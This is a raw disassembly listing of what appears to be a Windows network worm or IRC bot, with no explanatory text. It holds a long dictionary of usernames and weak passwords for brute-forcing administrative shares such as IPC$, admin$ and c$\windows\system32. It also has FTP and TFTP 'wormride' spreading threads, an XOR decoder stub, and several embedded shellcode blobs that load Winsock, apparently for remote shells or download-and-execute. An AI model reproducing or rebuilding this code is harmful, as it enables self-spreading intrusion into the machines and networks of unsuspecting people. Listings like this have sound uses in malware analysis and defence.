; ---------------------------------------------------------------------------
		mov	eax, 0AC0041C2h
		retn	41h
; ---------------------------------------------------------------------------
		mov	al, ds:8C0041C2h
		retn	41h
; ---------------------------------------------------------------------------
		dd offset aCWindowsSystem ; "c$\\windows\\system32"
; ---------------------------------------------------------------------------
		push	600041C2h
		retn	41h
; ---------------------------------------------------------------------------
		xor	dl, al
		inc	ecx
		add	[eax], ch
		retn	41h
; ---------------------------------------------------------------------------
		dd offset aIpc		; "IPC$"
		dd 0
		dd offset byte_41DF10
		dd offset aAdministrator ; "administrator"
		dd offset aAdministrador ; "administrador"
; ---------------------------------------------------------------------------
		aam	0C4h
		inc	ecx
		add	al, cl
		les	eax, [ecx+0]
		rol	ah, 41h
		add	[eax-4BFFBE3Ch], bh
		les	eax, [ecx+0]
		sbb	al, 0C2h
		inc	ecx
		add	[eax], bl
		retn	41h
; ---------------------------------------------------------------------------
		adc	al, 0C2h
		inc	ecx
		add	[eax], cl
		retn	41h
; ---------------------------------------------------------------------------
		cld
		rol	dword ptr [ecx+0], 0F4h
		rol	dword ptr [ecx+0], 0F0h
		rol	dword ptr [ecx+0], 0E4h
		rol	dword ptr [ecx+0], 0DCh
		rol	dword ptr [ecx+0], 0D8h
		rol	dword ptr [ecx+0], 0D4h
		rol	dword ptr [ecx+0], 0D0h
		rol	dword ptr [ecx+0], 0CCh
		rol	dword ptr [ecx+0], 0C8h
		rol	dword ptr [ecx+0], 0C0h
		rol	dword ptr [ecx+0], 0B8h
		rol	dword ptr [ecx+0], 0B0h
		rol	dword ptr [ecx+0], 0A8h
		rol	dword ptr [ecx+0], 9Ch
		rol	dword ptr [ecx+0], 90h
		rol	dword ptr [ecx+0], 84h
		rol	dword ptr [ecx+0], 7Ch
		rol	dword ptr [ecx+0], 70h
		rol	dword ptr [ecx+0], 68h
		rol	dword ptr [ecx+0], 60h
		rol	dword ptr [ecx+0], 50h
		xchg	eax, edx
		inc	ecx
		add	[eax-3Fh], bl
		inc	ecx
		add	[eax+44004198h], dl
		xchg	eax, edx
		inc	ecx
		add	[eax-3Fh], dl
		inc	ecx
		add	[eax-3Fh], cl
		inc	ecx
		add	[eax-3Fh], al
		inc	ecx
		add	al, dl
		retn
; ---------------------------------------------------------------------------
		inc	ecx
		add	al, cl
		retn
; ---------------------------------------------------------------------------
		dw 41h
		dd offset aDemo		; "demo"
		dd offset aComputer	; "computer"
		dd offset aUnix		; "unix"
		dd offset aLinux	; "linux"
		dd offset aChangeme	; "changeme"
		dd offset aDefault	; "default"
		dd offset aSystem	; "system"
		dd offset aServer_0	; "server"
		dd offset aRoot		; "root"
		dd offset aNull		; "null"
		dd offset aTemp		; "temp"
		dd offset aTemp123	; "temp123"
		dd offset aQwerty	; "qwerty"
		dd offset aMail		; "mail"
		dd offset aOutlook	; "outlook"
		dd offset aWeb		; "web"
		dd offset aWww		; "www"
		dd offset aInternet	; "internet"
		dd offset aSex		; "sex"
		dd offset aLetmein	; "letmein"
		dd offset aAccounts	; "accounts"
		dd offset aAccounting	; "accounting"
		dd offset aHome		; "home"
		dd offset aHomeuser	; "homeuser"
		dd offset aUser		; "user"
		dd offset aOem		; "oem"
		dd offset aOemuser	; "oemuser"
		dd offset aOeminstall	; "oeminstall"
		dd offset aWwwadmin	; "wwwadmin"
		dd offset aWindows	; "windows"
		dd offset aWin98	; "win98"
		dd offset aWin2k	; "win2k"
		dd offset aWinxp	; "winxp"
		dd offset aWinnt	; "winnt"
		dd offset aWin2000	; "win2000"
		dd offset aQaz		; "qaz"
		dd offset aAsd		; "asd"
		dd offset aZxc		; "zxc"
		dd offset aQwe		; "qwe"
		dd offset aBob		; "bob"
		dd offset aJen		; "jen"
		dd offset aJoe		; "joe"
		dd offset aFred		; "fred"
		dd offset aBill		; "bill"
		dd offset aMike		; "mike"
		dd offset aJohn		; "john"
		dd offset aPeter	; "peter"
		dd offset aLuke		; "luke"
		dd offset aSam		; "sam"
		dd offset aSue		; "sue"
; ---------------------------------------------------------------------------
		clc
		retn
; ---------------------------------------------------------------------------
		dw 41h
; ---------------------------------------------------------------------------
		adc	ah, al
		inc	ecx
		add	al, dh
		retn
; ---------------------------------------------------------------------------
		inc	ecx
		add	ah, ch
		retn
; ---------------------------------------------------------------------------
		inc	ecx
		add	ah, ah
		retn
; ---------------------------------------------------------------------------
		inc	ecx
		add	al, ah
		retn
; ---------------------------------------------------------------------------
		inc	ecx
		add	al, bl
		retn
; ---------------------------------------------------------------------------
		inc	ecx
		add	al, al
		retn
; ---------------------------------------------------------------------------
		inc	ecx
		add	[eax-4FFFBE3Dh], bh
		retn
; ---------------------------------------------------------------------------
		inc	ecx
		add	[eax-3Ch], al
		inc	ecx
		add	[eax-5FFFBE3Dh], ch
		retn
; ---------------------------------------------------------------------------
		inc	ecx
		add	[eax-40h], bh
		inc	ecx
		add	[eax+eax*8+41h], ch
		add	[ebx+eax*8-3C73FFBFh], dl
		inc	ecx
		add	[eax-40h], ah
		inc	ecx
		add	[eax-40h], bl
		inc	ecx
		add	[eax-40h], dl
		inc	ecx
		add	[eax-40h], cl
		inc	ecx
		add	al, dh
		rol	byte ptr [ecx+0], 88h
		retn
; ---------------------------------------------------------------------------
		inc	ecx
		add	[eax-40h], al
		inc	ecx
		add	[eax], bh
		rol	byte ptr [ecx+0], 30h
		rol	byte ptr [ecx+0], 28h
		rol	byte ptr [ecx+0], 80h
		retn
; ---------------------------------------------------------------------------
		inc	ecx
		add	[eax+eax*8], bl
		inc	ecx
		add	[eax+eax*8], cl
		inc	ecx
		add	[ebx+eax*8+41h], dh
		add	[ebx+eax*8+41h], ch
		add	[eax+eax*8], al
		inc	ecx
		add	al, bh
		mov	edi, 0BFE80041h
		inc	ecx
		add	[ebx+eax*8+41h], ah
		add	ah, dl
		mov	edi, 0BFD00041h
		inc	ecx
		add	ah, cl
		mov	edi, 0BFC40041h
		inc	ecx
		add	[eax-3Dh], ah
		inc	ecx
		add	[ebx+eax*8+41h], bl
		add	[eax-5BFFBE41h], dh
		mov	edi, 0C3540041h
		inc	ecx
		add	[eax-3Dh], dl
		inc	ecx
		add	[eax-3Dh], cl
		inc	ecx
		add	[eax-3Dh], al
		inc	ecx
		add	[eax], bh
		retn
; ---------------------------------------------------------------------------
		inc	ecx
		add	[eax], dh
		retn
; ---------------------------------------------------------------------------
		inc	ecx
		add	[eax-67FFBE41h], ah
		mov	edi, 0BF940041h
		inc	ecx
		add	[eax], ch
		retn
; ---------------------------------------------------------------------------
		inc	ecx
		add	[eax], ah
		retn
; ---------------------------------------------------------------------------
		inc	ecx
		add	[edi+edi*4-407BFFBFh], cl
		inc	ecx
		add	[eax], bl
		retn
; ---------------------------------------------------------------------------
		inc	ecx
		add	[ebx+eax*8], dl
		inc	ecx
		add	[esp+eax*8+41h], dh
		add	[eax], cl
		retn
; ---------------------------------------------------------------------------
		dw 41h
		dd offset aStudent	; "student"
; ---------------------------------------------------------------------------
		clc
		retn	41h
; ---------------------------------------------------------------------------
		dd offset aTeacher	; "teacher"
		dd offset aStaff	; "staff"
		dd 0
aWinpass	db 'winpass',0
aBlank		db 'blank',0
		align 4
aXp_0		db 'xp',0
		align 4
aNokia		db 'nokia',0
		align 10h
aHp		db 'hp',0
		align 4
aOrainstall	db 'orainstall',0
		align 10h
aSqlpassoainsta	db 'sqlpassoainstall',0
		align 4
aDb1234		db 'db1234',0
		align 4
aDb2		db 'db2',0
aDb1		db 'db1',0
aDatabasepasswo	db 'databasepassword',0
		align 4
aDatabasepass	db 'databasepass',0
		align 4
aDbpassword	db 'dbpassword',0
		align 4
aDbpass		db 'dbpass',0
		align 4
aDomainpassword	db 'domainpassword',0
		align 4
aDomainpass	db 'domainpass',0
		align 4
aHello		db 'hello',0
		align 10h
aHell		db 'hell',0
		align 4
aLove		db 'love',0
		align 10h
aMoney		db 'money',0
		align 4
aSlut		db 'slut',0
		align 10h
aBitch		db 'bitch',0
		align 4
aFuck		db 'fuck',0
		align 10h
aExchange	db 'exchange',0
		align 4
aLoginpass	db 'loginpass',0
		align 4
aLogin		db 'login',0
		align 10h
aQwe		db 'qwe',0              ; DATA XREF: brattyty:0041BE4Co
aZxc		db 'zxc',0              ; DATA XREF: brattyty:0041BE48o
aAsd		db 'asd',0              ; DATA XREF: brattyty:0041BE44o
aQaz		db 'qaz',0              ; DATA XREF: brattyty:0041BE40o
aWin2000	db 'win2000',0          ; DATA XREF: brattyty:0041BE3Co
aWinnt		db 'winnt',0            ; DATA XREF: brattyty:0041BE38o
		align 10h
aWinxp		db 'winxp',0            ; DATA XREF: brattyty:0041BE34o
		align 4
aWin2k		db 'win2k',0            ; DATA XREF: brattyty:0041BE30o
		align 10h
aWin98		db 'win98',0            ; DATA XREF: brattyty:0041BE2Co
		align 4
aWindows	db 'windows',0          ; DATA XREF: brattyty:0041BE28o
aOeminstall	db 'oeminstall',0       ; DATA XREF: brattyty:0041BE20o
		align 4
aOem		db 'oem',0              ; DATA XREF: brattyty:0041BE18o
aAccounting	db 'accounting',0       ; DATA XREF: brattyty:0041BE08o
		align 4
aAccounts	db 'accounts',0         ; DATA XREF: brattyty:0041BE04o
		align 4
aLetmein	db 'letmein',0          ; DATA XREF: brattyty:0041BE00o
aSex		db 'sex',0              ; DATA XREF: brattyty:0041BDFCo
aOutlook	db 'outlook',0          ; DATA XREF: brattyty:0041BDECo
aMail		db 'mail',0             ; DATA XREF: brattyty:0041BDE8o
		align 4
aQwerty		db 'qwerty',0           ; DATA XREF: brattyty:0041BDE4o
		align 4
aTemp123	db 'temp123',0          ; DATA XREF: brattyty:0041BDE0o
aTemp		db 'temp',0             ; DATA XREF: brattyty:0041BDDCo
		align 4
aNull		db 'null',0             ; DATA XREF: brattyty:0041BDD8o
		align 4
aDefault	db 'default',0          ; DATA XREF: brattyty:0041BDC8o
aChangeme	db 'changeme',0         ; DATA XREF: brattyty:0041BDC4o
		align 4
aDemo		db 'demo',0             ; DATA XREF: brattyty:0041BDB4o
		align 10h
aTest		db 'test',0
		align 4
a2005		db '2005',0
		align 10h
a2004		db '2004',0
		align 4
a2001		db '2001',0
		align 10h
aSecret		db 'secret',0
		align 4
aPayday		db 'payday',0
		align 10h
aDeadline	db 'deadline',0
		align 4
aWork		db 'work',0
		align 4
a1234567890	db '1234567890',0
		align 10h
a123456789	db '123456789',0
		align 4
a12345678	db '12345678',0
		align 4
a1234567	db '1234567',0
a123456		db '123456',0
		align 4
a12345		db '12345',0
		align 10h
a1234		db '1234',0
		align 4
a123		db '123',0
a12		db '12',0
		align 10h
a1:
		unicode	0, <1>,0
a007		db '007',0
aPwd		db 'pwd',0
aPass		db 'pass',0
		align 4
aPass1234	db 'pass1234',0
		align 10h
aDba		db 'dba',0
aPasswd		db 'passwd',0
		align 4
aPassword	db 'password',0         ; DATA XREF: brattyty:0041D848o
		align 4
aPassword1	db 'password1',0
		align 4
aAbc		db 'abc',0
aAb		db 'ab',0
		align 4
aA_0:
		unicode	0, <a>,0
aIpc		db 'IPC$',0             ; DATA XREF: brattyty:0041BD04o
		align 4
aPrint		db 'print$',0
		align 10h
aCDocumentsAndS	db 'C$\Documents and Settings\All Users\Documents\$',0
aAdmin_0	db 'admin$',0
		align 4
aAdminSystem32	db 'Admin$\system32',0
aCWindowsSystem	db 'c$\windows\system32',0 ; DATA XREF: brattyty:0041BCF0o
aCWinntSystem32	db 'c$\winnt\system32',0
		align 10h
aCWindows	db 'c$\windows',0
		align 4
aCWinnt		db 'c$\winnt',0
		align 4
aEShared	db 'e$\shared',0
		align 4
aDShared	db 'd$\shared',0        ; DATA XREF: brattyty:0041BCDCo
		align 10h
aCShared	db 'c$\shared',0
		align 4
aE		db 'e$',0
		align 10h
aD		db 'd$',0               ; DATA XREF: brattyty:0041BCD0o
		align 4
aC		db 'c$',0               ; DATA XREF: brattyty:0041BCCCo
		align 4
aStaff		db 'staff',0            ; DATA XREF: brattyty:0041BCC4o
					; brattyty:0041BF7Co
		align 10h
aTeacher	db 'teacher',0          ; DATA XREF: brattyty:0041BCC0o
					; brattyty:0041BF78o
aOwner		db 'owner',0
		align 10h
aStudent	db 'student',0          ; DATA XREF: brattyty:0041BCB8o
					; brattyty:0041BF70o
aIntranet	db 'intranet',0
		align 4
aLan_0		db 'lan',0
aMain		db 'main',0             ; DATA XREF: sub_416AC5+5o
					; brattyty:00416AECo
		align 10h
aOffice		db 'office',0
		align 4
aControl	db 'control',0
aSiemens	db 'siemens',0
aCompaq		db 'compaq',0
		align 10h
aDell		db 'dell',0
		align 4
aCisco		db 'cisco',0
		align 10h
aIbm		db 'ibm',0
aOracle		db 'oracle',0
		align 4
aSql		db 'sql',0
aSa		db 'sa',0
		align 4
aData		db 'data',0
		align 4
aAccess		db 'access',0
		align 4
aDatabase	db 'database',0
		align 10h
aDomain		db 'domain',0
		align 4
aGod		db 'god',0
aBackup		db 'backup',0
		align 4
aTechnical	db 'technical',0
		align 10h
aMary		db 'mary',0
		align 4
aKatie		db 'katie',0
		align 10h
aKate		db 'kate',0
		align 4
aGeorge		db 'george',0
		align 10h
aEric		db 'eric',0
		align 4
aNone		db 'none',0
		align 10h
aGuest		db 'guest',0
		align 4
aChris		db 'chris',0
		align 10h
aIan		db 'ian',0
aNeil		db 'neil',0
		align 4
aLee		db 'lee',0
aBrian		db 'brian',0
		align 4
aSusan		db 'susan',0
		align 10h
aSue		db 'sue',0              ; DATA XREF: brattyty:0041BC24o
					; brattyty:0041BE78o
aSam		db 'sam',0              ; DATA XREF: brattyty:0041BC20o
					; brattyty:0041BE74o
aLuke		db 'luke',0             ; DATA XREF: brattyty:0041BC1Co
					; brattyty:0041BE70o
		align 10h
aPeter		db 'peter',0            ; DATA XREF: brattyty:0041BC18o
					; brattyty:0041BE6Co
		align 4
aJohn		db 'john',0             ; DATA XREF: brattyty:0041BC14o
					; brattyty:0041BE68o
		align 10h
aMike		db 'mike',0             ; DATA XREF: brattyty:0041BC10o
					; brattyty:0041BE64o
		align 4
aBill		db 'bill',0             ; DATA XREF: brattyty:0041BC0Co
					; brattyty:0041BE60o
		align 10h
aFred		db 'fred',0             ; DATA XREF: brattyty:0041BC08o
					; brattyty:0041BE5Co
		align 4
aJoe		db 'joe',0              ; DATA XREF: brattyty:0041BC04o
					; brattyty:0041BE58o
aJen		db 'jen',0              ; DATA XREF: brattyty:0041BC00o
					; brattyty:0041BE54o
aBob		db 'bob',0              ; DATA XREF: brattyty:0041BBFCo
					; brattyty:0041BE50o
aWwwadmin	db 'wwwadmin',0         ; DATA XREF: brattyty:0041BBF8o
					; brattyty:0041BE24o
		align 10h
aOemuser	db 'oemuser',0          ; DATA XREF: brattyty:0041BBF4o
					; brattyty:0041BE1Co
aUser		db 'user',0             ; DATA XREF: brattyty:0041BBF0o
					; brattyty:0041BE14o
		align 10h
aHomeuser	db 'homeuser',0         ; DATA XREF: brattyty:0041BBECo
					; brattyty:0041BE10o
		align 4
aHome		db 'home',0             ; DATA XREF: brattyty:0041BBE8o
					; brattyty:0041BE0Co
		align 4
aInternet	db 'internet',0         ; DATA XREF: brattyty:0041BBE4o
					; brattyty:0041BDF8o
		align 10h
aWww		db 'www',0              ; DATA XREF: brattyty:0041BBE0o
					; brattyty:0041BDF4o
aWeb		db 'web',0              ; DATA XREF: brattyty:0041BBDCo
					; brattyty:0041BDF0o
aRoot		db 'root',0             ; DATA XREF: brattyty:0041BBD8o
					; brattyty:0041BDD4o
		align 10h
aServer_0	db 'server',0           ; DATA XREF: brattyty:0041BBD4o
					; brattyty:0041BDD0o
		align 4
aLinux		db 'linux',0            ; DATA XREF: brattyty:0041BBCCo
					; brattyty:0041BDC0o
		align 10h
aUnix		db 'unix',0             ; DATA XREF: brattyty:0041BBC8o
					; brattyty:0041BDBCo
		align 4
aComputer	db 'computer',0         ; DATA XREF: brattyty:0041BBC4o
					; brattyty:0041BDB8o
		align 4
aAdm		db 'adm',0              ; DATA XREF: brattyty:0041BBC0o
aAdmin		db 'admin',0            ; DATA XREF: brattyty:0041BBBCo
		align 10h
aAdmins		db 'admins',0           ; DATA XREF: brattyty:0041BBB8o
		align 4
aAdministrat	db 'administrat',0      ; DATA XREF: brattyty:0041BBB4o
aAdministrateur	db 'administrateur',0   ; DATA XREF: brattyty:0041BBB0o
		align 4
aAdministrador	db 'administrador',0    ; DATA XREF: brattyty:0041BBACo
					; brattyty:0041BD14o
		align 4
aAdministrator	db 'administrator',0    ; DATA XREF: brattyty:0041BBA8o
					; brattyty:0041BD10o
		align 4
a231		db '231 -',0Dh,0Ah,0    ; DATA XREF: sub_41113B:loc_4119BAo
a221		db '221 -',0Dh,0Ah,0    ; DATA XREF: sub_41113B+843o
dword_41C514	dd 1471A0h		; DATA XREF: sub_41113B+834r
		align 10h
unk_41C520	db  2Dh	; -		; DATA XREF: sub_41113B+80Do
		db 3, 30h, 34h
		db    2
		db 25h,	73h, 3
		db    2
aU_TransferToSC	db '- %u. Transfer to %s complete.',0
aFtp_0		db 'ftp',0              ; DATA XREF: sub_41113B+808o
dword_41C54C	dd 16BF48h		; DATA XREF: sub_41113B+73Er
		dd 2 dup(0)
dword_41C558	dd 20363232h, 0A0D2Dh	; DATA XREF: sub_41113B+6F7o
					; sub_41113B+7AAo
aX32000Fh1024Ja	db '-x 3 2000 fh 1024 Jan 1 0:00 .',0Dh,0Ah ; DATA XREF: sub_41113B+6AFo
		db 'drwxr-xr-x 3 2000 fh 1024 Jan 1 0:00 ..',0Dh,0Ah
		db '-rwxr-xr-x 3 2000 fh %u Jan 1 0:00 %s',0Dh,0Ah,0
		align 4
a150		db '150 -',0Dh,0Ah,0    ; DATA XREF: sub_41113B+5C7o
					; sub_41113B+751o
dword_41C5DC	dd 1192A0h		; DATA XREF: sub_41113B+5B4r
		dd 2 dup(0)
dword_41C5E8	dd 20333132h, 0A0D7525h, 0 ; DATA XREF:	sub_41113B+56Do
dword_41C5F4	dd 9AAA8h		; DATA XREF: sub_41113B+4EDr
		align 10h
aUUUUUU		db '%u,%u,%u,%u,%u,%u',0 ; DATA XREF: sub_41113B+427o
		align 4
dword_41C614	dd 10E3A0h		; DATA XREF: sub_41113B+3EAr
		align 10h
dword_41C620	dd 20353234h, 0A0D2Dh	; DATA XREF: sub_41113B+3A3o
dword_41C628	dd 123230h		; DATA XREF: sub_41113B+394r
		dd 2 dup(0)
dword_41C634	dd 20303032h, 0A0D2Dh	; DATA XREF: sub_41113B+34Do
					; sub_41113B+4A6o
dword_41C63C	dd 949E8h		; DATA XREF: sub_41113B+33Er
		dd 2 dup(0)
dword_41C648	dd 20373532h, 20222F22h, 0A0D2Dh ; DATA	XREF: sub_41113B+2F7o
dword_41C654	dd 238A0h		; DATA XREF: sub_41113B+2E8r
		dd 0
dword_41C65C	dd 20313132h, 0A0D2Dh	; DATA XREF: sub_41113B+2A1o
dword_41C664	dd 0B3160h		; DATA XREF: sub_41113B+292r
		align 10h
dword_41C670	dd 20353132h, 0A0D2Dh	; DATA XREF: sub_41113B+24Bo
dword_41C678	dd 9B2A0h		; DATA XREF: sub_41113B+23Cr
		dd 2 dup(0)
dword_41C684	dd 20303332h, 0A0D2Dh	; DATA XREF: sub_41113B+1E1o
dword_41C68C	dd 1230E8h		; DATA XREF: sub_41113B+1C8r
		dd 2 dup(0)
dword_41C698	dd 20313333h, 0A0D2Dh	; DATA XREF: sub_41113B+181o
dword_41C6A0	dd 128588h		; DATA XREF: sub_41113B+16Br
		dd 2 dup(0)
dword_41C6AC	dd 0A0D20h		; DATA XREF: sub_41113B+E9o
					; sub_41113B+115o ...
dword_41C6B0	dd 20303232h, 0A0D2Dh	; DATA XREF: sub_41113B+13o
dword_41C6B8	dd 303332h		; DATA XREF: sub_411A09+193o
dword_41C6BC	dd 53534150h, 0A0D3120h, 0 ; DATA XREF:	sub_411A09+11Do
dword_41C6C8	dd 313333h		; DATA XREF: sub_411A09+F9o
dword_41C6CC	dd 52455355h, 0A0D3120h, 0 ; DATA XREF:	sub_411A09:loc_411A8Ao
dword_41C6D8	dd 303232h		; DATA XREF: sub_411A09+63o
unk_41C6DC	db  2Dh	; -		; DATA XREF: sub_411BBC+115o
		db 3, 30h, 34h
		db    2
		db 25h,	75h, 3
		db    2
aRunningFtpWorm	db '- Running FTP wormride thread',0
		align 4
a127_0_0_1	db '127.0.0.1',0        ; DATA XREF: sub_411BBC+6Eo
		align 10h
aFtpWormrideThr	db 'FTP wormride thread',0 ; DATA XREF: sub_411D68+36o
dword_41C724	dd 4000500h, 7868746Bh,	0 ; DATA XREF: sub_411DC5+5E2o
unk_41C730	db  2Dh	; -		; DATA XREF: sub_411DC5+5BDo
		db 3, 30h, 34h
		db    2
		db 25h,	73h, 3
		db    2
aU_TftpTransfer	db '- %u. tftp transfer to %s complete.',0
		align 10h
aWormride	db 'wormride',0         ; DATA XREF: sub_411DC5+5B8o
		align 4
dword_41C76C	dd 1000500h, 656C6946h,	746F4E20h, 756F4620h, 646Eh
					; DATA XREF: sub_411DC5+367o
aOctet		db 'octet',0            ; DATA XREF: sub_411DC5+333o
					; sub_411DC5+345o
		align 4
unk_41C788	db  2Dh	; -		; DATA XREF: sub_411DC5+144o
		db 3, 30h, 34h
		db    2
		db 25h,	75h, 3
		db    2
aRunningTftpWor	db '- Running TFTP wormride thread',0
aTftpWormrideTh	db 'TFTP wormride thread',0 ; DATA XREF: sub_4123F6+2Bo
		align 4


loc_41C7C8:				; DATA XREF: sub_4125DF+50o
		jmp	short loc_41C7DF
; ---------------------------------------------------------------------------


loc_41C7CA:				; CODE XREF: brattyty:loc_41C7DFp
		mov	ecx, 0
		xor	ecx, 0
		pop	esi


loc_41C7D6:				; CODE XREF: brattyty:0041C7DBj
		xor	byte ptr [ecx+esi-1], 0
		loop	loc_41C7D6
		jmp	short near ptr dword_41C7E4
; ---------------------------------------------------------------------------


loc_41C7DF:				; CODE XREF: brattyty:loc_41C7C8j
		call	loc_41C7CA
; ---------------------------------------------------------------------------
dword_41C7E4	dd 0			; CODE XREF: brattyty:0041C7DDj
dword_41C7E8	dd 8B64DB33h, 408B3043h, 1C708B0Ch, 8788BADh, 45E8h, 8B565300h
					; DATA XREF: sub_4124A0+CBo
		dd 5C8B3C5Fh, 0DF03783Bh, 205B8B53h, 8353DF03h,	338B04C3h
		dd 0C933F703h, 0C1C832ACh, 0C08405C1h, 0CA2BF675h, 2B58E975h
		dd 5EEBD1D8h, 3245E03h,	0B8B66DFh, 31C5E8Bh, 8B048BDFh
		dd 5B5EC703h, 685EE0FFh, 3233h,	32737768h, 92BA545Fh, 0FF84046Eh
		dd 81F88BD6h, 200ECh, 53EC8B00h, 26A016Ah, 835383BAh, 53D6FF00h
		dd 6853h, 2680000h, 8B000000h, 6AD88BD4h, 0BA535210h, 5A603063h
		dd 0B450D6FFh, 53555002h, 605800BAh, 0BFD6FFE2h, 0
; ---------------------------------------------------------------------------
		jmp	ebp
; ---------------------------------------------------------------------------
		align 4
dword_41C89C	dd 8B64DB33h, 408B3043h, 1C708B0Ch, 8788BADh, 45E8h, 8B565300h
					; DATA XREF: sub_4124A0+8Co
		dd 5C8B3C5Fh, 0DF03783Bh, 205B8B53h, 8353DF03h,	338B04C3h
		dd 0C933F703h, 0C1C832ACh, 0C08405C1h, 0CA2BF675h, 2B58E975h
		dd 5EEBD1D8h, 3245E03h,	0B8B66DFh, 31C5E8Bh, 8B048BDFh
		dd 5B5EC703h, 685EE0FFh, 3233h,	32737768h, 92BA545Fh, 0FF84046Eh
		dd 81F88BD6h, 200ECh, 53EC8B00h, 26A016Ah, 835383BAh, 53D6FF00h
		dd 2685353h, 8B000000h,	6AD88BD4h, 0BA535210h, 0C2A69000h
		dd 5040D6FFh, 3B7ABA53h, 0D6FFA173h, 0BA535050h, 69D310h
		dd 0D88BD6FFh, 0B450C033h, 53555002h, 605800BAh, 0BFD6FFE2h
		dd 0
; ---------------------------------------------------------------------------
		jmp	ebp
; ---------------------------------------------------------------------------
		align 4
dword_41C964	dd 8B64DB33h, 408B3043h, 1C708B0Ch, 8788BADh, 45E8h, 8B565300h
					; DATA XREF: sub_4124A0+36o
		dd 5C8B3C5Fh, 0DF03783Bh, 205B8B53h, 8353DF03h,	338B04C3h
		dd 0C933F703h, 0C1C832ACh, 0C08405C1h, 0CA2BF675h, 2B58E975h
		dd 5EEBD1D8h, 3245E03h,	0B8B66DFh, 31C5E8Bh, 8B048BDFh
		dd 5B5EC703h, 685EE0FFh, 3233h,	32737768h, 92BA545Fh, 0FF84046Eh
		dd 81F88BD6h, 200ECh, 6AEC8B00h, 55544310h, 7232BA53h
		dd 0D6FF1979h, 27D8166h, 0ED751111h, 22047D81h,	75222222h
		dd 2B450E4h, 0BA535550h, 0E2605800h, 7D81D6FFh,	20EC8300h
		dd 0BFEA758Bh, 0
; ---------------------------------------------------------------------------
		jmp	ebp
; ---------------------------------------------------------------------------
		align 4
dword_41CA18	dd 8B20EC83h, 45D89ECh,	81007D89h, 200ECh, 14658900h, 8B64DB33h
					; DATA XREF: sub_412720+71o
		dd 408B3043h, 1C708B0Ch, 8788BADh, 0E8087D89h, 45h, 5F8B5653h
		dd 3B5C8B3Ch, 53DF0378h, 3205B8Bh, 0C38353DFh, 3338B04h
		dd 0ACC933F7h, 0C1C1C832h, 75C08405h, 75CA2BF6h, 0D82B58E9h
		dd 35EEBD1h, 0DF03245Eh, 8B0B8B66h, 0DF031C5Eh,	38B048Bh
		dd 0FF5B5EC7h, 33685EE0h, 68000032h, 5F327377h,	6E92BA54h
		dd 0D6FF8404h, 8B0C4589h, 46A53F8h, 475FF55h, 669000BAh
		dd 83D6FFE0h, 850F04F8h, 0C5h, 0E8087D8Bh, 0Dh,	3 dup(0)
		dd 18458F00h, 6A026A53h, 68535301h, 0C0000000h,	0BA1875FFh
		dd 5C6BD33Dh, 4589D6FFh, 840F401Ch, 8Dh, 330C7D8Bh, 2B450C0h
		dd 1475FF50h, 0BA0475FFh, 0E2605800h, 7D8BD6FFh, 74C08508h
		dd 41C88B1Eh, 8D535774h, 5051104Dh, 0FF1475FFh,	0B9BA1C75h
		dd 0FFCBF5BEh, 74C085D6h, 0FFC5EB40h, 5CBA1C75h, 0FF9DC593h
		dd 58446AD6h, 0FC8BE02Bh, 33ABD78Bh, 59106AC0h,	8BFDE2ABh
		dd 5252087Dh, 50505050h, 0FF505050h, 2CBA1875h,	0FF2694F1h
		dd 0C7FE58D6h, 1BA5053h, 0FFDE34D6h, 1C75FFD6h,	0C5935CBAh
		dd 0FFD6FF9Dh, 3DBA1875h, 0FF27CF53h, 0C7D8BD6h, 0BA0475FFh
		dd 7315685h, 7D8BD6FFh,	46BABA08h, 0D6FFC10Ch
		db 0
byte_41CB95	db 0E3h			; DATA XREF: sub_4125DF+CFr
					; sub_4125DF+E4w
		align 4
dword_41CB98	dd 4113E68Bh		; DATA XREF: sub_4125DF+60r
					; sub_4125DF+75w
		align 10h
off_41CBA0	dd offset dword_41CD04	; DATA XREF: sub_4127D0+77r
		dd offset dword_41CCF8
		dd 0
		dd offset dword_41CCE0
		dd offset dword_41CCD4
		align 8
		dd offset dword_41CCB8
		dd offset dword_41CCAC
		dd 0
		dd offset dword_41CC90
		dd offset dword_41CC84
		align 10h
		dd offset dword_41CC64
		dd offset dword_41CC58
		dd 0
		dd offset dword_41CC38
		dd offset dword_41CC2C
		align 8
		dd offset dword_41CC0C
		dd offset dword_41CC00
		dd 4 dup(0)
dword_41CC00	dd 0A9DCC5EDh, 2 dup(0)	; DATA XREF: brattyty:0041CBECo
					; brattyty:0041DB6Co
dword_41CC0C	dd 0F09F9DB5h, 0CDEBA2EDh, 0BE8FE2A0h, 0F4A1E0A8h, 0BF879FBAh
					; DATA XREF: brattyty:0041CBE8o
					; brattyty:0041DB68o
		dd 0CDF4E2EAh, 2 dup(0)
dword_41CC2C	dd 0A3D7CFE8h, 2 dup(0)	; DATA XREF: brattyty:0041CBE0o
					; brattyty:0041DB60o
dword_41CC38	dd 0FD8E88B6h, 8CFCEDEAh, 0A781FBA6h, 0E5B4F8ABh, 0FF8795BCh
					; DATA XREF: brattyty:0041CBDCo
					; brattyty:0041DB5Co
		dd 0CDF1A2ECh, 0B8h, 0
dword_41CC58	dd 0A2D9CBE8h, 2 dup(0)	; DATA XREF: brattyty:0041CBD4o
					; brattyty:0041DB54o
dword_41CC64	dd 0FA8C89B9h, 0D2E0F9ADh, 0FDDCE0B4h, 0F2B5F6BEh, 0F9839DAFh
					; DATA XREF: brattyty:0041CBD0o
					; brattyty:0041DB50o
		dd 0C1BCE4F6h, 0E1BAh, 0
dword_41CC84	dd 0A2D6CEEDh, 2 dup(0)	; DATA XREF: brattyty:0041CBC8o
					; brattyty:0041DB48o
dword_41CC90	dd 0F68193BBh, 0C5F3E2ADh, 0BC81F8BCh, 0E9A5F1A4h, 0FFC189A8h
					; DATA XREF: brattyty:0041CBC4o
					; brattyty:0041DB44o
		dd 0F8E6h, 0
dword_41CCAC	dd 0A9DCC5ECh, 2 dup(0)	; DATA XREF: brattyty:0041CBBCo
					; brattyty:0041DB3Co
dword_41CCB8	dd 0F48193BBh, 0C3FEEEADh, 0A79CE7B6h, 0E2B3F1A8h, 0BF9C9FBBh
					; DATA XREF: brattyty:0041CBB8o
					; brattyty:0041DB38o
		dd 0FFE3E0h, 0
dword_41CCD4	dd 0A9DDC5E6h, 2 dup(0)	; DATA XREF: brattyty:0041CBB0o
					; brattyty:0041DB30o
dword_41CCE0	dd 0FA8A99ABh, 0D1FAE5ADh, 0F68CFFBDh, 0EDAFFAE3h, 2 dup(0)
					; DATA XREF: brattyty:0041CBACo
					; brattyty:0041DB2Co
dword_41CCF8	dd 0A5DCCEEDh, 2 dup(0)	; DATA XREF: brattyty:0041CBA4o
					; brattyty:off_41DB24o
